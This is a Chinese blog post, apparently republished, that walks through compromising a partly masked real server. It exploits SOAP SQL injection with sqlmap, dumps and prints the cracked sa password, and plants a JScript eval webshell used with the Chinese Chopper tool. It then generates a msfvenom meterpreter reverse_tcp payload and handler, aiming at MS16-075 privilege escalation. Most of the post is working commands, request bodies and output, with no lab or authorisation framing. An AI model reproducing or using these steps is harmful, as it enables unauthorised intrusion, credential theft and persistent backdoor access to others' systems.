soap注入某sql2008服务器结合msf进行提权
Posted klmyoil
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了soap注入某sql2008服务器结合msf进行提权相关的知识,希望对你有一定的参考价值。
1.1.1扫描soap注入漏洞
1.使用awvs中的web services scanner进行漏洞扫描
打开awvs,选择web services scanner进行漏洞扫描,如图1所示,在wsdl url中填写目标url地址,注意一定是asmx?wsdl,有的是有asmx文件,如果没有则可以直接填写,例如:http://1**.***.***.***:8081/?wsdl。
2.处理sql盲注
通过awvs扫描,确认该url地址存在sql盲注(26处),在awvs中,单击右边的“view http headers”,将其内容复制到一个文本文件中,同时处理存在漏洞的语句,在本例中例如:<urn:string>-1' OR 3*2*1=6 AND 000223=000223 or 'gPireHft'='</urn:string>
需要将红色字图部分更换为”-1*”。
3.完整的header包中内容如下:
POST /Service1.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/ZcpdList"
Content-Length: 716
X-Requested-With: XMLHttpRequest
Referer: http://1**.***.***.***:8081/?wsdl
Host: 1**.***.***.***:8081
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (Khtml, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/" xmlns:urn2="http://tempuri.org/AbstractTypes">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:ZcpdList>
<urn:Inventory_dhs>
<urn:string>-1*</urn:string>
</urn:Inventory_dhs>
</urn:ZcpdList>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Response
1.1.2确认soap注入漏洞
1.使用sqlmap检测是否存在sql注入漏洞
将前面的header中的内容保存为1**.***.***.***.txt,将该文件复制到sqlmap.py程序所在目录,执行命令:sqlmap.py -r 1**.***.***.***.txt,对sqlmap提示的信息进行确认:
custom injection marker (‘*‘) found in option ‘--data‘. Do you want to process it? [Y/n/q] y
SOAP/XML data found in POST data. Do you want to process it? [Y/n/q]y
如图2所示,sqlmap确认该sql注入漏洞存在,且该数据库服务器为windows 2008 R2,数据库版本为sql server 2008,soap存在漏洞为union查询。
图2 存在soap注入漏洞
2.查看数据库是否dba权限
(1)自动提交参数进行测试
如图3所示,执行命令:sqlmap.py -r 1**.***.***.***.txt --is-dba --batch后,也要两次确认y,由于使用了参数“batch”,sqlmap会自动进行提交判断值。
图3自动提交参数进行判断
(2)获取当前数据库使用的用户是dba账号。
如图4所示,在sqlmap中获取当前用户是dba,显示结果为true。该结果表明数据库是使用sa权限,可以通过os-shell参数来获取webshell。
图4判断是否为dba账号
3.获取sa账号密码
如图5所示,使用命令sqlmap.py -r 1**.***.***.***.txt --password --batch直接获取该数据库连接的所有账号对应的密码值:
图5获取sa账号密码
4.破解sa账号密码
在前面通过sqlmap成功获取其数据库密码哈希值:
[*] ##MS_PolicyEventProcessingLogin## [1]:
password hash: 0x01001a7b0c5b5b347506dbc67aa8ffa2ad20f852076d8446a838
[*] ##MS_PolicyTsqlExecutionLogin## [1]:
password hash: 0x01006c6443e1e42ca27773d413042ee8af2eea9026d44c8d4d1c
[*] sa [1]:
password hash: 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28
将sa对应的密码值“0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28”在www.cmd5.com进行查,其解密结果为“qaz123WSX”。
1.1.3通过--os-shell获取webshell
1.获取os-shell
在sqlmap中执行命令:sqlmap.py -r 1**.***.***.***.txt --os-shell,在sqlmap执行窗口中确认信息:
custom injection marker (‘*‘) found in option ‘--data‘. Do you want to process it? [Y/n/q] y
SOAP/XML data found in POST data. Do you want to process it? [Y/n/q] y
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option ‘--time-sec‘)? [Y/n]
也可以执行sqlmap.py -r 1**.***.***.***.txt --os-shell --batch命令不用手工输入。
2.寻找web程序所在目录
(1)查看文件及目录
执行dir c:命令后,可以查看c目录及文件,继续查看“dir c:inetpubwwwroot”如图7所示,在该文件夹中无web程序,排除该目录。
图7查看文件及目录
(2)获取网站真实目录
通过依次查看c、d、e、f盘,在e盘获取疑似网站程序文件,使用命令进行查看dir e:softwareAMS_NoFlow,如图8所示。
图8查看网站文件
3.测试网站真实目录
(1)生成文件测试
如图9所示,使用echo命令:echo "thisis test">e:softwareAMS_NoFlow .txt,在网站根目录下生成t.txt文件。内容为thisis test。
图9生成文件
(2)网站访问测试
在浏览器中输入地址http://1**.***.***.***/1.txt进行测试,如图10所示,获取内容跟预期一致,该目录为网站真实物理地址。
4. 获取web.config配置文件内容
在os-shell中,执行type e:softwareAMS_NoFlowweb.config命令查看web.config文件中的内容,在sqlmap命令窗口由于设置问题,可能无法查看其完整的内容,不过sqlmap在其output目录下,会保持详细情况,如图11所示,打开其log文件,可以看到其sa账号对应的密码为qaz123WSX,跟前面破解的sa密码一致。
图11查看web.config配置文件内容
5.获取ip地址信息
如图12所示,在os-shell中执行ipconfig命令,即可获取该目标的IP地址配置情况,该目标对外配置独立外网IP和内网IP地址,在os-shell中还可以执行其它命令。
6. 获取webshell测试
(1)生成shell文件
在os-shell中执行命令:echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > e:softwareAMS_NoFlowcmd.aspx
如图13所示,回显结果显示1,无其它信息,表面生成文件命令成功。
图13 生成webshell
(2)获取webshell
使用中国菜刀后门管理工具,创建记录http://1**.***.***.***/cmd.aspx,一句话后门密码:pass,如图14所示,连接成功,成功获取webshell。
1.1.4常规方法提权失败
1.生成系统信息文件
在os-shell中执行命令:systeminfo > SYD1-0081DSB.txt
2.下载Windows-Exploit-Suggester程序
Windows-Exploit-Suggester下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester/
3.更新漏洞库并进行漏洞比对
在python中执行windows-exploit-suggester.py -u进行更新,同时对漏洞库进行比对:
windows-exploit-suggester.py --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > SYD1-0081DSB-day.txt,如图15所示。
图15进行漏洞比对
4.查看漏洞情况
在C:Python27目录打开SYD1-0081DSB-day.txt文件,如图16所示,可以看到程序判断该操作系统为windows 2008 R2版本,且存在多个漏洞,最新漏洞为ms16-075。
图16查看漏洞情况
5.对存在的漏洞进行提权测试
按照漏洞编号,查找并整理exp文件,在目标服务器上进行提权测试,除ms16-075exp外,测试均失败,无法提权。
1.1.5借助msf进行ms16-075提权
1.使用msf生成反弹×××
在msf下面执行命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4433 -f exe -o 4433.exe
其中windows/meterpreter/reverse_tcp反弹端口类型,lhost是反弹连接的服务器Ip地址,注意该ip地址必须是独立服务器,或者必须是外网端口映射,换句话说,就是反弹必须能够接收,lport为反弹的端口,4433为生成的程序。
2.在监听服务器上执行监听命令
(1)启动msf
msfconsole
(2)配置meterpreter参数
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.33
set LPORT 4433
exploit
3.上传4433.exe程序到目标服务器及执行
将4433.exe文件上传到目标服务器,并通过中国彩刀或者os-shell进行执行。
4.查看系统信息
如图17所示,目标反弹到监听服务器上,执行sysinfo,获取其系统信息。
以上是关于soap注入某sql2008服务器结合msf进行提权的主要内容,如果未能解决你的问题,请参考以下文章